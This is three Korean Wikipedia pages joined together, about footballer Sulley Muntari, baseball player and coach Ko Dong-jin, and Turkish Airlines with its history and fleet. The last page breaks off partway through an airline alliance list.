설리 알리 문타리 - 위키백과, 우리 모두의 백과사전 설리 알리 문타리 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 설리 알리 문타리 개인 정보전체 이름 Suleyman Ali Muntari출생일 1984년 8월 27일(1984-08-27) (34세)출생지 가나 아샨티 주 코농고키 179cm포지션 미드필더클럽 정보현 소속팀 알바세테등번호 6청소년 클럽 기록2000-2001 2001-2002 리버티 프로페셔널스 우디네세클럽 기록*연도 클럽 출전 (골)2002-20072007-2008 2008-2012 2011 2012 2012-2015 2015-2016 2017 2018 2019- 우디네세 포츠머스 인테르나치오날레 → 선덜랜드 (임대) → 밀란 (임대) 밀란 이티하드 페스카라 데포르티보 라코루냐 알바세테 125 00(8) 029 00(4) 066 00(7) 009 00(1) 013 00(3) 057 00(8) 018 00(2) 009 00(1) 008 00(0) 001 00(0)국가대표팀 기록‡2001 2002-2014 가나 U-20 가나 007 00(0) 084 0(20) * 클럽의 출장수와 골은 정규 리그 기록만 센다. 또한 출장수와 골은 2019년 2월 1일 기준이다.‡ 국가대표팀의 출장수와 골은 2014년 6월 21일 기준이다. 슐레이만 알리 "설리" 문타리 (영어: Suleyman Ali "Sulley" Muntari, 1984년 8월 27일, 가나 코농고 ~ )는 가나의 축구 선수로, 현재 스페인 세군다 디비시온의 축구 클럽 알바세테 소속이다. 목차 1 선수 경력 2 기타 3 경력 4 수상 5 각주 및 참고자료 6 외부 링크 선수 경력[편집] 술레이 알리 문타리는 가나의 리버티 프로페셔널즈 유스 팀에서 선수 생활을 시작해 2001년 FIFA 세계 청소년 축구 선수권 대회 가나 대표팀 선수 명단에 포함되었다. 준준결승전에선 카카가 이끄는 브라질을 꺾었고, 결승전에선 개최국 아르헨티나에 패배하기 전까지는 팀의 무패 행진을 이끌었다 이 활약으로 잉글랜드 프리미어리그의 맨체스터 유나이티드를 시작으로 여러 클럽들의 관심을 받았으나, 최종적으로는 이탈리아 세리에 A의 우디네세에 입단하였다. 2002-2003 시즌 AC 밀란과의 경기에서 세리에 A 데뷔전을 치렀고, 이 해 6월에는 가나 대표팀 데뷔전을 치렀다. 2002-2003 시즌부터 감독으로 취임한 루차노 스팔레티 감독 아래 팀은 2002-2003 시즌 5위, 2003-2004 시즌 7위, 2004-2005 시즌 4위의 좋은 성적을 유지했고, 문타리는 팀의 핵심으로 활약하였다. 2005-2006 시즌에는 UEFA 챔피언스리그 무대도 경험해 대표팀에서 중심 선수가 되기에 이르렀고, 2006년 FIFA 월드컵에 출전해 체코 축구 국가대표팀을 상대로 골을 넣는 등 팀의 조별 리그 통과에 공헌하였다. 16강전 브라질과의 경기에선 0-3으로 패했지만, 스티븐 아피아와 마이클 에시엔과 함께 가나 대표팀의 주축으로 뛰었다. 한편 스팔레티가 세리에 A의 AS 로마 감독으로 간 뒤 우디네세는 성적 부진이 계속되었고, 문타리는 세리에 A의 빅 클럽으로부터 오퍼도 있었지만, 프리미어리그에서의 선수 생활을 희망해 2007년 5월 평소 오퍼를 받고 있던 포츠머스로 이적하였다. 2008년 7월에는 인터 밀란으로 이적해 4년 계약을 맺었다. 그렇지만 인테르에서 이렇다한 모습을 보여주지 못 하였다. 특히 3월 12일에 있었던 칼초 카타니아와의 경기에서 교체로 들어와 1분 만에 퇴장을 당하면서 팀의 패배에 기여를 하였다. 결국 2011년 1월에는 선덜랜드로 임대 되었다. 하지만 복귀 후, 점차 주전 경쟁에서 밀려난 모습을 보이면서 잉여자원이 되었고, 결국 2012년 1월에는 미드필더진의 붕괴로 고민하던 AC 밀란으로 임대되었다. 기타[편집] 2011년 대한민국 축구 국가대표팀과의 평가전을 위해 가나 축구 국가대표팀의 일원으로 방문했을때 자신을 FC 서울의 팬이라고 밝혀 화제가 되었다.[1] 경력[편집] 2001년 FIFA 세계 청소년 축구 선수권 대회 국가대표 2006년 FIFA 월드컵 국가대표 2008년 아프리카 네이션스컵 국가대표 2010년 FIFA 월드컵 국가대표 2012년 아프리카 네이션스컵 국가대표 2014년 FIFA 월드컵 국가대표 수상[편집] 포츠머스 FA컵 : 우승 (2007-08) 인테르 세리에 A : 우승 (2008-09, 2009-10) 코파 이탈리아 : 우승 (2009-10) 수페르코파 이탈리아나 : 우승 (2008, 2010), 준우승 (2009, 2011) UEFA 챔피언스리그 : 우승 (2009-10) FIFA 클럽 월드컵 : 우승 (2010) 가나 FIFA 세계 청소년 축구 선수권 대회 : 준우승 (2001) 아프리카 네이션스컵 : 3위 (2008), 4위 (2012) 개인 아프리카 네이션스컵 베스트 XI : 2008 각주 및 참고자료[편집] ↑ “하늘을 찌르는 대표팀 인기, 가나 선수들도 “한국 선수들 대단””. 스포츠경향. 2011년 6월 6일.  외부 링크[편집] Muntari Stats Page - RAI Sport Muntari Stats Page - Gazzetta dello Sport Fifa 2006 World Cup Profile Ghana Football Association - official website Ghanaweb Football Forum - Official Fan Forum Muntari enjoying life at Portsmouth 가나 축구 국가대표팀vdeh가나 축구 국가대표팀 – 2006년 FIFA 월드컵 1 아제이 2 사르페이 3 잔 4 쿠포르 5 멘사 6 파포에 7 실라 8 에시엔 9 보아텡 10 아피아 (주장) 11 문타리 12 타키에멘사 13 모하메드 14 아모아 15 판트실 16 오우 17 콰예 18 E. 아도 19 핌퐁 20 O. 아도 21 아메드 22 킹슨 23 드라마니 감독: 두이코비치 vdeh가나 축구 국가대표팀 – 2008년 아프리카 네이션스컵 3위 1 아제이 2 사르페이 3 A. 잔 4 판트실 5 멘사 6 아난 7 킹스턴 8 에시엔 9 아고고 10 아사모아 11 문타리 12 아유 13 B. 잔 14 쿠모로지 15 바루소 16 다우다 17 아사레 18 E. 아도 19 실라 20 오우수 아베예 21 아풀 22 킹슨 23 드라마니 감독: 르 로이 vdeh가나 축구 국가대표팀 – 2010년 FIFA 월드컵 1 아제이 2 사르페이 3 잔 4 판트실 5 멘사 (주장) 6 아난 7 잉쿰 8 조너선 9 D. 보아텡 10 아피아 11 문타리 12 타고에 13 A. 아유 14 아모아 15 보르사 16 아홀루 17 I. 아예우 18 아디이아 19 아디 20 오우수 아베예 21 K. 아사모아 22 킹슨 23 K. P. 보아텡 감독: 라예바치 vdeh가나 축구 국가대표팀 – 2012년 아프리카 네이션스컵 4위 1 아제이 2 오파레이 3 잔 4 판트실 5 멘사 6 아난 7 잉쿰 8 바두 9 보아텡 10 A. 아예우 11 문타리 12 타고에 13 J. 아유 14 알하산 15 보르사 16 크와라세이 17 아디 18 조너선 19 타키 20 아사모아 21 보예 22 소와 23 아부 감독: 스테바노비치 vdeh가나 축구 국가대표팀 – 2014년 FIFA 월드컵 1 애덤스 2 잉쿰 3 잔 (주장) 4 오파레이 5 에시엔 6 아콰 7 아추 8 바두 9 보아텡 10 A. 아유 11 문타리 12 크와라세이 13 J. 아유 14 아도마 15 수말리아 16 두다 17 라비우 18 와리스 19 멘사 20 아사모아 21 보예 22 무바라크 23 애풀 감독: 아피아 원본 주소 "https://ko.wikipedia.org/w/index.php?title=설리_알리_문타리&oldid=24380735" 분류: 1984년 태어남살아있는 사람가나의 축구 선수가나 축구 국가대표팀 선수이탈리아의 외국인 축구 선수우디네세 칼초의 축구 선수잉글랜드의 외국인 축구 선수포츠머스 FC의 축구 선수FC 인테르나치오날레 밀라노의 축구 선수선덜랜드 AFC의 축구 선수AC 밀란의 축구 선수알이티하드 FC의 축구 선수델피노 페스카라 1936의 축구 선수데포르티보 라코루냐의 축구 선수알바세테 발롬피에의 축구 선수2006년 FIFA 월드컵 참가 선수2008년 아프리카 네이션스컵 참가 선수2010년 FIFA 월드컵 참가 선수2012년 아프리카 네이션스컵 참가 선수2014년 FIFA 월드컵 참가 선수축구 미드필더가나의 무슬림가나의 해외 진출 축구 선수사우디아라비아의 외국인 축구 선수프리미어리그의 축구 선수세리에 A의 축구 선수라리가의 축구 선수세군다 디비시온의 축구 선수영국에 거주한 가나인이탈리아에 거주한 가나인스페인의 외국인 축구 선수사우디 프로리그의 축구 선수리버티 프로페셔널스 FC의 축구 선수가나 U-20 축구 국가대표팀 선수숨은 분류: 영어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةتۆرکجهБеларуская (тарашкевіца)‎БългарскиCatalàČeštinaDanskDeutschEnglishEspañolEestiفارسیSuomiFrançaisGaeilgeGalegoעבריתHrvatskiMagyarՀայերենBahasa IndonesiaItaliano日本語ქართულიҚазақшаLatinaLietuviųMalagasyМакедонскиМонголमराठीBahasa MelayuNederlandsNorsk nynorskNorskPolskiPortuguêsRomânăРусскийScotsSrpskohrvatski / српскохрватскиSimple EnglishShqipSvenskaTürkçeУкраїнськаاردو中文 링크 편집 이 문서는 2019년 6월 5일 (수) 11:08에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
고동진 - 위키백과, 우리 모두의 백과사전 고동진 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 같은 이름을 가진 기업인에 대해서는 고동진 (기업인) 문서를 참조하십시오. 고동진 Ko Dong-Jin 한화 이글스 No.80 기본 정보 국적 대한민국 생년월일 1980년 4월 1일(1980-04-01) (39세) 출신지 대한민국 대전광역시 신장 183 cm 체중 85 kg 선수 정보 투구·타석 좌투좌타 수비 위치 중견수 프로 입단 연도 2004년 드래프트 순위 2000년 8차 4라운드(한화 이글스) 첫 출장 KBO / 2004년 4월 5일 수원 대 현대전 마지막 경기 KBO / 2015년 8월 19일 대전 대 NC전 경력 선수 경력 한화 이글스 (2004년 ~2016년) 코치 경력 한화 이글스 1군 주루코치 (2017년 ~ 현재) 고동진(高東鎭, 1980년 4월 1일 ~ )은 전 KBO 리그 한화 이글스의 전 외야수이자, 현재 KBO 리그 한화 이글스의 코치이다. 목차 1 한화 이글스 시절 2 출신학교 3 통산 기록 4 각주 한화 이글스 시절[편집] 2000년 한화 이글스의 2차 4순위 지명을 받았고 성균관대학교 졸업 후 2004년에 입단했다. 빠른 발을 가진 선수로, 빠른 발 덕에 수비력이 뛰어나다. 2013년 주장을 맡고 있었던 1루수 김태균이 부상으로 빠졌을 때 김태균을 대신하여 임시 주장을 맡았으며, 2013 시즌 후 정식 주장으로 승격됐다.2016년 7월 29일 육성선수인 임익준이 정식선수로 승격이 되며 웨이버 공시되었다.[1] 출신학교[편집] 대전중리초등학교 한밭중학교 대전고등학교 성균관대학교 통산 기록[편집] 연도 소속 경기 타수 득점 안타 2루타 3루타 홈런 타점 도루 희생타 4구 사구 삼진 병살타 실책 타율 장타율 출루율 기타 2004 한화 51 161 27 51 12 0 5 19 8 3 7 7 40 1 3 0.317 0.484 0.371 2005 한화 94 250 42 50 14 0 3 11 11 2 23 16 45 4 4 0.200 0.292 0.308 2006 한화 120 370 40 89 14 2 4 29 16 4 21 12 80 6 3 0.241 0.359 0.303 2007 한화 124 394 68 98 8 5 1 37 10 ? 50 16 67 6 2 0.249 0.302 0.355 2008 한화 31 87 14 19 5 0 0 5 2 ? 6 0 13 4 0 0.218 0.276 0.269 2011 한화 97 195 31 49 9 0 3 19 3 ? 15 33 5 2 0 0.251 0.344 0.319 2012 한화 110 281 32 76 12 0 3 29 8 ? 38 5 48 10 1 0.270 0.345 0.367 2013 한화 93 312 31 85 14 0 1 31 4 ? 34 6 54 11 2 0.272 0.327 0.350 통산 720 2050 285 517 88 7 20 180 62 ? 194 67 380 47 17 0.252 0.331 0.335 각주[편집] ↑ 고동진 한화 새 주장 선출, 선수단 화합과 소통 이끈다 - 스포츠월드 vdeh한화 이글스 - 현재 명단감독40 한용덕코치 35 장종훈 (수석) 71 전형도 (작전/주루) 73 채종국 (수비) 75 노리오 (타격) 76 정민태 (투수) 79 마일영 (불펜) 80 고동진 (주루) 82 강인권 (배터리) 88 이양기 (타격보조) 90 배민규 (트레이닝) -- 김도엽 (트레이닝) -- 김형욱 (트레이닝) -- 이영훈 (메디컬) -- 장근령 (트레이닝) 퓨처스 감독85 최계훈퓨처스 코치 21 송진우 (투수) 70 김성래 (타격) 72 김해님 (불펜) 78 전상렬 (작전/주루) 81 차일목 (배터리) 86 김남형 (수비) -- 김재민 (트레이닝) -- 박재희 (트레이닝) 육성군 코치 74 백승룡 (수비) 75 이희근 (배터리) 77 정현석 (타격) 83 송구홍 (야수총괄) 87 추승우 (작전/주루) 89 윤학길 (투수총괄) -- 원창식 (트레이닝) 재활군 코치 84 손상득 -- 김회성 (트레이닝) -- 최우성 (트레이닝) 투수 05 임지훈 16 문동욱 17 김범수 18 김진영 19 김재영 20 송창현 22 이태양 29 김경태 31 송창식 34 김종수 36 장민재 38 안영명 41 박주홍 44 서폴드 45 김이환 46 송은범 48 벨 49 이충호 53 김민우 54 서균 55 윤규진 57 정우람 58 박상원 59 윤호솔 60 황영국 61 김성훈 62 박윤철 64 임준섭 65 김진욱 67 정이황 93 홍유상 97 문재현 98 조지훈 103 오동욱 104 김민석 109 김영우 110 박재형 114 여인태 포수 06 이성원 12 김창혁 13 최재훈 26 지성준 47 김종민 106 허관회 108 김관호 111 이청현 112 최준혁 내야수 1 하주석 3 최윤석 4 이창열 5 김민기 6 오선진 7 송광민 8 정근우 10 김태연 14 강경학 24 김회성 27 변우혁 33 윤승열 37 노시환 42 김인환 43 정은원 52 김태균 59 노태형 63 박한결 102 김현민 105 조한민 외야수 09 정문근 2 김지수 9 이동훈 11 장운호 15 이용규 25 최진행 28 양성우 30 호잉 32 박준혁 39 김민하 50 이성열(주장) 51 장진혁 56 백창수 66 유장혁 68 이원석 96 홍성갑 군입대 선수 강명준 강상원 권용우 김기탁 김명서 김병현 김주현 김지훈 김찬균 박상언 박준범 박진수 방윤준 양경민 오흥진 원혁재 윤보성 이도윤 이승관 이주형 임석현 전형근 정경운 주현상 2020년 신인지명 선수 -- 신지후(1차지명) 이 글은 야구인에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=고동진&oldid=23725190" 분류: 1980년 태어남살아있는 사람대전광역시 출신KBO 리그 외야수KBO 리그 중견수KBO 리그 우익수한화 이글스 선수대전중리초등학교 동문한밭중학교 동문대전고등학교 동문성균관대학교 동문숨은 분류: 야구인에 관한 토막글모든 토막글 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2019년 2월 18일 (월) 08:37에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
터키 항공 - 위키백과, 우리 모두의 백과사전 터키 항공 위키백과, 우리 모두의 백과사전. (터키항공에서 넘어옴) 둘러보기로 가기 검색하러 가기 터키항공 터키항공의 보잉 777-300ER IATA ICAO 항공사 콜사인 TK THY TURKISH 창립일 1933년 5월 20일 허브 공항 에센보아 국제공항 이스탄불 아르나부코이 국제공항 이스탄불 아타튀르크 국제공항 이스탄불 사비하괵첸 국제공항 거점 도시 에센보아 국제공항 아드난 멘데레스 국제공항 동맹체 스타 얼라이언스 상용고객우대제도 Miles & Smiles VIP 라운지 Turkish Airlines CIP Lounge 보유 항공기 337 취항지 수 384 슬로건 Widen Your World 본사 터키 이스탄불 아타튀르크 국제공항 핵심 인물 Hamdi Topçu (Chairman) Temel Kotil (CEO) 자회사 노스 키프로스 항공 선익스프레스 아나돌루 제트 터키항공 카고 THY DO&CO İkram Hizmetleri A.Ş. TGS Yer Hizmetleri A.Ş. THY OPET Havacılık Yakıtları A.Ş. P&W T.T. Uçak Bakım Merkezi Ltd. Şti. 웹사이트 http://www.thy.com 터키항공(터키어: Türk Hava Yolları Anonim Ortaklığı, 영어: Turkish Airlines)은 터키의 항공사로 본사는 이스탄불에 위치해 있다. 원래 국영 항공사로 설립 했으나 민영화가 되면서 본사가 이스탄불로 옮겨졌다. 현재 이스탄불의 아르나부코이 국제공항을 허브 공항으로 사용하고 있다. 터키 전역의 국내선 및 이스탄불과 세계 주요 도시와 연결되는 국제선을 운영하고 있다. 대한민국의 인천국제공항에도 취항하고 있다. 스타얼라이언스 회원사이며, 아시아나항공을 비롯한 다른 스타 얼라이언스 회원사와 공동 운항도 시행하고 있다. 목차 1 역사 2 운항 노선 2.1 코드쉐어 협정 3 보유 기종 3.1 현재 사용하는 기종 3.2 퇴역 기종 4 터키항공 카고 5 각주 6 사건 및 사고 7 사진 8 외부 링크 역사[편집] 1933년 5월 20일에 앙카라에서 설립되었다. 설립 당시 이름은 국립항공 관리국으로 보유 항공기는 킹버드 1대, 융커 F-13 2대, ATH-9 1대였다. 1938년 국립항공로 이사회로 명칭이 변경되고 교통부 산하로 이관되었다. 1945년 더글러스 DC-3 항공기가 추가 되었고 1947년에 앙카라 ~ 이스탄불 ~ 아테네로 이어지는 최초의 국제선을 신설했다. 1956년 3월 1일 현재의 사명으로 변경되고 터키어로 튀르크 하바 욜라르 이름을 바꾸며 본격적으로 성장하기 시작하였다. 1967년에 최초로 맥도넬더글러스 DC-9 항공기가 추가 되었다. 1970년대에 맥도넬더글러스 DC-10, 보잉 727 항공기를 도입한데 이어 1971년에 보잉 707 항공기를 임대했다. 1984년에 예실쾨이 공항에 새로운 첨단기술 센터를 설립했다. 1985년에 에어버스 A310 항공기가 추가되었고 1986년에 싱가포르에 최초로 취항 했으며 1988년에 브뤼셀 경유 뉴욕행 국제선 노선도 신설이 되었다. 1987년부터 1988년까지 손실을 입었지만 북아메리카 노선이 성장하면서 1990년대 중반에 다시 회복되었다. 그와 동시에 1994년에 뉴욕간 논스톱 노선을 실시했다. 1996년에 국내선 시장 독점이 철폐되면서 전세 항공사간 경쟁이 치열해졌다. 대한민국의 경우 1997년 10월 30일부터 김포국제공항에 취항 했지만 1998년 10월에 운항이 중단하였다. 2001년 인천국제공항 개항과 동시에 직항 노선 운항을 재개 했지만 같은 해 9·11 테러의 영향으로 구조조정을 단행했다. 2003년에 이라크 전쟁과 사스로 인해 페르시아 만으로 잇는 노선이 중지되었다. 2010년 4월에 스카이트랙스가 발표한 스카이트랙스 어워드에서 남유럽 최고의 항공사로 선정 되었으며 이코노미 클래스 기내식 서비스 최고로 인정받아 전 유럽 국가 베스트 항공사 부문에서 3위를 차지하였다. 2012년에 초대형 항공기인 에어버스 A380, 보잉 747-8I를 비롯해 보잉 787 드림라이너 기종 도입 여부를 결정하기 위해 보잉과 에어버스와 논의하고 있다.[1][2] 운항 노선[편집] 이 부분의 본문은 터키 항공의 운항 노선입니다. 2012년 7월 기준으로 터키 항공은 다음과 같은 노선을 운항하고 있다. 코드쉐어 협정[편집] 터키항공은 다음과 같은 항공사와 코드쉐어를 하고 있으며 주로 스타 얼라이언스 회원과 코드쉐어 협정을 체결하고 있으나 타 항공사도 코드쉐어 협정을 체결하고 있다. LOT 폴란드 항공 (스타 얼라이언스) TAP 포르투갈 (스타 얼라이언스) 가루다 인도네시아 항공 (스카이팀) 로얄 브루나이 항공 로얄 에어 모로코 로얄 요르단 항공 루프트한자 (스타 얼라이언스) 룩스에어 르완드 에어 말레이시아 항공 (원월드) 스위스 국제항공 (스타 얼라이언스) 스칸디나비아 항공 (스타 얼라이언스) 싱가포르 항공 (스타 얼라이언스) 아비앙카 항공 (스타 얼라이언스) 아드리아 항공 (스타 얼라이언스) 아시아나항공 (스타 얼라이언스) 아제르바이잔 항공 에게 항공 (스타 얼라이언스) 에바 항공 (스타 얼라이언스) 에어 나미비아 에어 뉴질랜드 (스타 얼라이언스) 에어 몰타 에어 아스타나 에어 인디아 (스타 얼라이언스) 에어 캐나다 (스타 얼라이언스) 에티오피아 항공 (스타 얼라이언스) 에티하드 항공 오만 항공 오스트리아 항공 (스타 얼라이언스) 우크라이나 국제항공 유나이티드 항공 (스타 얼라이언스) 유테이르 항공 이란 항공 이집트 항공 (스타 얼라이언스) 전일본공수 (스타 얼라이언스) 제트블루 항공 중국국제항공 (스타 얼라이언스) 쿠웨이트 항공 크로아티아 항공 (스타 얼라이언스) 키르기스스탄 항공 타이 항공 (스타 얼라이언스) 파키스탄 국제항공 필리핀 항공 하와이안 항공 보유 기종[편집] 2019년 3월 기준으로 터키항공은 다음과 같은 기종을 보유하고 있으며 평균 기령은 6.8년이다.[3][4][5] 현재 사용하는 기종[편집] 터키항공의 보유 기종 기종 대수 주문 옵션 승객 비고 C Y 합계 에어버스 A319-100 6 0 0 18 114 132 에어버스 A320-200 17 0 0 12 141 153 에어버스 A321-200 68 0 0 42 146 188 에어버스 A321neo 7 85 22 20 162 182 2017년부터 2020년까지 순차적으로 도입[6] 에어버스 A330-200 18 0 0 24 224 248 에어버스 A330-300 39 1[7] 0 28 261 289 구. 와우에어의 항공기를 인수 예정[8][9] 에어버스 A350-900 0 25 5 TBA 2019년부터 순차적으로 도입 예정[10] 보잉 737-700 1 0 0 0 149 149 보잉 737-800 63 0[11] 0 18 147 165 보잉 737-900ER 15 0 0 24 127 151 보잉 737 MAX 8 11 54 25 16 135 151 2018년부터 2021년까지 순차적으로 도입 보잉 737 MAX 9 1 9[11] 16 153 169 2019년부터 2020년까지 순차적으로 도입 보잉 777-300ER 33 0[12] 0 49 300 349 3대는 케냐 항공 임차 운항2018년 중반부터 케냐 항공으로 반환 예정 28 372 400 보잉 787-9 1 24 5 30 270 300 2019년부터 순차적으로 도입[13] 터키 항공 카고의 보유 기종 에어버스 A300-600RF 1 0 0 화물 에어버스 A310-300F 3 0 0 화물 에어버스 A330-200F 10 0 0 화물 [14] 보잉 747-400F 4 0 0 화물 마이카고 항공 임차 운항 보잉 777F 5 3 0 화물 기존 보잉 777-300ER 주문 변경 합계 353 165 57 퇴역 기종[편집] 터키항공의 퇴역 기종 기종 대수 도입 년도 퇴역 년도 대체 기종 비고 에어버스 A300B4-200 1 2005년 2005년 임차 기종 MNG 항공 임차 운항 1 이란 항공에 매각 에어버스 A310-200 3 1985년 2005년 에어버스 A330 6 1985년 2001년 이란 항공에 매각 2 1993년 1993년 임차 기종 루프트한자 임차 운항 에어버스 A310-300 4 1989년 2009년 에어버스 A330 아리아나 아프간 항공에 매각 2 1990년 2002년 마한 항공 임차 운항 에어버스 A310-300F 4 1989년 2009년 에어버스 A330-200F 1대는 현재 예비용으로 저장 에어버스 A319-100 1 2006년 2017년 보잉 737 MAX 8 1 2012년 2018년 에어 알바니아에 매각 6 2006년 2017년 샤힌 에어에 매각 에어버스 A320-200 24 2004년 2019년 보잉 737 MAX 8 2 1996년 1996년 임차 기종 트랜스리프트 항공 임차 운항 2 1997년 1997년 임차 기종 트랜스에어 국제항공 임차 운항 에어버스 A321-100 2 2004년 2007년 임차 기종 스위스 국제항공 임차 운항 에어버스 A321-200 5 2005년 2012년 에어버스 A321neo 에어버스 A330-200 3 2009년 2017년 대체 기종 없음 1 2010년 2011년 임차 기종 브리티시 미들랜드 국제항공 임차 운항 1 2012년 2013년 메리디아나 임차 운항 에어버스 A330-200F 1 2013년 2013년 임차 기종 MNG 항공 임차 운항 에어버스 A330-300 1 2014년 2015년 대체 기종 없음 터키항공 726편 활주로 이탈 사고로 파괴 1 2010년 2010년 임차 기종 사가 항공 임차 운항 에어버스 A340-300 9 1993년 2019년 에어버스 A350-900 4대는 현재 예비용으로 저장 보잉 707-120B 8 1974년 1988년 에어버스 A310-200 보잉 707-320B 15 1972년 1990년 에어버스 A310-300 보잉 727-200 10 1975년 2002년 에어버스 A320 Family 보잉 727-200F 4 1995년 2005년 에어버스 A310-300F 보잉 737-400 31 1991년 2013년 보잉 737-800 1 1995년 1999년 대체 기종 없음 터키항공 5904편 추락 사고로 파괴 보잉 737-500 2 1992년 2004년 보잉 737-900ER 보잉 737-700 3 2009년 2015년 보잉 737-800 보잉 737-800 3 2006년 2018년 보잉 737 MAX 8 16 1998년 2017년 자회사인 아나돌루 제트로 이전 5 2006년 2018년 선 컨트리 항공에 매각 1 2002년 2009년 대체 기종 없음 터키항공 1951편 추락 사고로 파괴 보잉 777-300ER 2 2009년 2011년 임차 기종 제트 에어웨이즈 임차 운항 아브로 RJ-70 4 1996년 2006년 보잉 737 Next Generation 아브로 RJ-100 10 1993년 2008년 보잉 737 Next Generation 더글러스 DC-3 4 1945년 1970년 더글러스 DC-7B 더글러스 DC-7B 3 1962년 1973년 더글러스 DC-9-10 더글러스 DC-9-10 1 1967년 1973년 더글러스 DC-9-30 더글러스 DC-9-30 10 1971년 1995년 보잉 737 Classic 포커 27 7 1963년 1979년 포커 28 포커 28 3 1973년 1988년 보잉 737 Classic 맥도넬더글러스 DC-10-10 2 1972년 1989년 에어버스 A340-300 1 1972년 1974년 대체 기종 없음 터키항공 981편 추락 사고로 파괴 맥도넬더글러스 DC-10-30 1 1993년 1993년 임차 기종 핀에어 임차 운항 맥도넬더글러스 MD-83 3 2005년 2006년 임차 기종 맥도넬더글러스 MD-90-30 2 2005년 2005년 임차 기종 빅커스 빅스카운트 4 1975년 1982년 임차 기종 터키항공 카고[편집] 터키항공 카고(영어: Turkish Airlines Cargo)는 터키 항공의 자회사이자 화물 항공사로 주로 터키 항공의 허브 공항과 국제공항의 화물기를 취항하며 보유 기종은 에어버스 A310-300F, 에어버스 A330-200F로 운항하고 있으며 허브 공항은 아타튀르크 국제공항이 있으며 스타 얼라이언스의 제휴 회원에 속한다. 각주[편집] ↑ “Turkish Airlines nearing A380 or 747-8 deal”. flightglobal.com. 2012년 6월 21일에 확인함.  ↑ “THY prioritises widebody twins ahead of A380/747-8I decision”. flightglobal.com. 2012년 9월 29일에 확인함.  ↑ “Turkish Airlines Fleet Details and History”.  지원되지 않는 변수 무시됨: |출처= (도움말) ↑ “Our Fleets”.  지원되지 않는 변수 무시됨: |출처= (도움말) ↑ “Cargo Aircrafts”.  지원되지 않는 변수 무시됨: |출처= (도움말) ↑ “Turkish Airlines buys 117 Airbus planes in growth bid”.  지원되지 않는 변수 무시됨: |출처= (도움말) ↑ “Turkish Airlines orders five additional A330 passenger aircraft”. 2013년 8월 28일.  지원되지 않는 변수 무시됨: |출처= (도움말) ↑ 9 October 2012 (2013년 8월 28일). “Turkish Airlines orders another 15 Airbus A330 aircraft”.  지원되지 않는 변수 무시됨: |출처= (도움말) ↑ “Turkish orders 15 A330-300s”. 2013년 8월 28일.  지원되지 않는 변수 무시됨: |출처= (도움말) ↑ “Turkish Airlines defines A350, B787 deliveries; adds 1 A330F”. 2018년 3월 12일.  지원되지 않는 변수 무시됨: |출처= (도움말) ↑ 가 나 9 April 2013. “Boeing Statement on Turkish Airlines' Commitment to Order 50 737 MAXs and 20 Next-Generation 737s”. Boeing.com.  ↑ 22 July 2013. “Turkish Airlines Finalize Order for Five Additional 777-300ERs”. Boeing.com. 2013년 8월 28일에 확인함.  ↑ “Turkish Airlines defines A350, B787 deliveries; adds 1 A330F”. 2018년 3월 12일.  지원되지 않는 변수 무시됨: |출처= (도움말) ↑ “Turkish Airlines defines A350, B787 deliveries; adds 1 A330F”. 2018년 3월 12일.  지원되지 않는 변수 무시됨: |출처= (도움말) 사건 및 사고[편집] 터키항공 158편 터키항공 278편 터키항공 345편 터키항공 452편 터키항공 634편 터키항공 981편 터키항공 1476편 터키항공 1951편 추락 사고 터키항공 5904편 1959년 터키항공 런던 개트윅 공항 충돌 사고 1961년 터키항공 앙카라 충돌 사고 1962년 터키항공 타우루스 산 충돌 사고 1974년 터키항공 이즈미르 충돌 사고 1979년 터키항공 앙카라 충돌 사고 사진[편집] 터키 항공 본사 터키 항공의 에어버스 A321-200 터키 항공의 에어버스 A330-200 터키 항공의 에어버스 A340-300 스타 얼라이언스 도장을 한 터키 항공의 에어버스 A340-300 터키 항공의 보잉 737-800 특별 도장을 한 터키 항공의 보잉 737-800 외부 링크[편집] 위키미디어 공용에 관련된미디어 자료가 있습니다. 터키 항공 (한국어) 공식 홈페이지 vdeh스타얼라이언스창립 회원 루프트한자 스칸디나비아 항공 에어 캐나다 유나이티드 항공 타이 항공 일반 회원 LOT 폴란드 항공 TAP 포르투갈 남아프리카 항공 브뤼셀 항공 선전 항공 스위스 국제항공 싱가포르 항공 아드리아 항공 아비앙카 항공 아시아나항공 에게 항공 에바 항공 에어 뉴질랜드 에어 인디아 에티오피아 항공 오스트리아 항공 이집트 항공 전일본공수 중국국제항공 코파 항공 크로아티아 항공 터키 항공 연결 회원 올림픽 에어 준야오 항공 제휴 회원 ANA 윙스 PGA 익스프레스 남아프리카 익스프레스 라우다 항공 루프트한자 리저널 아비앙카 니카라과 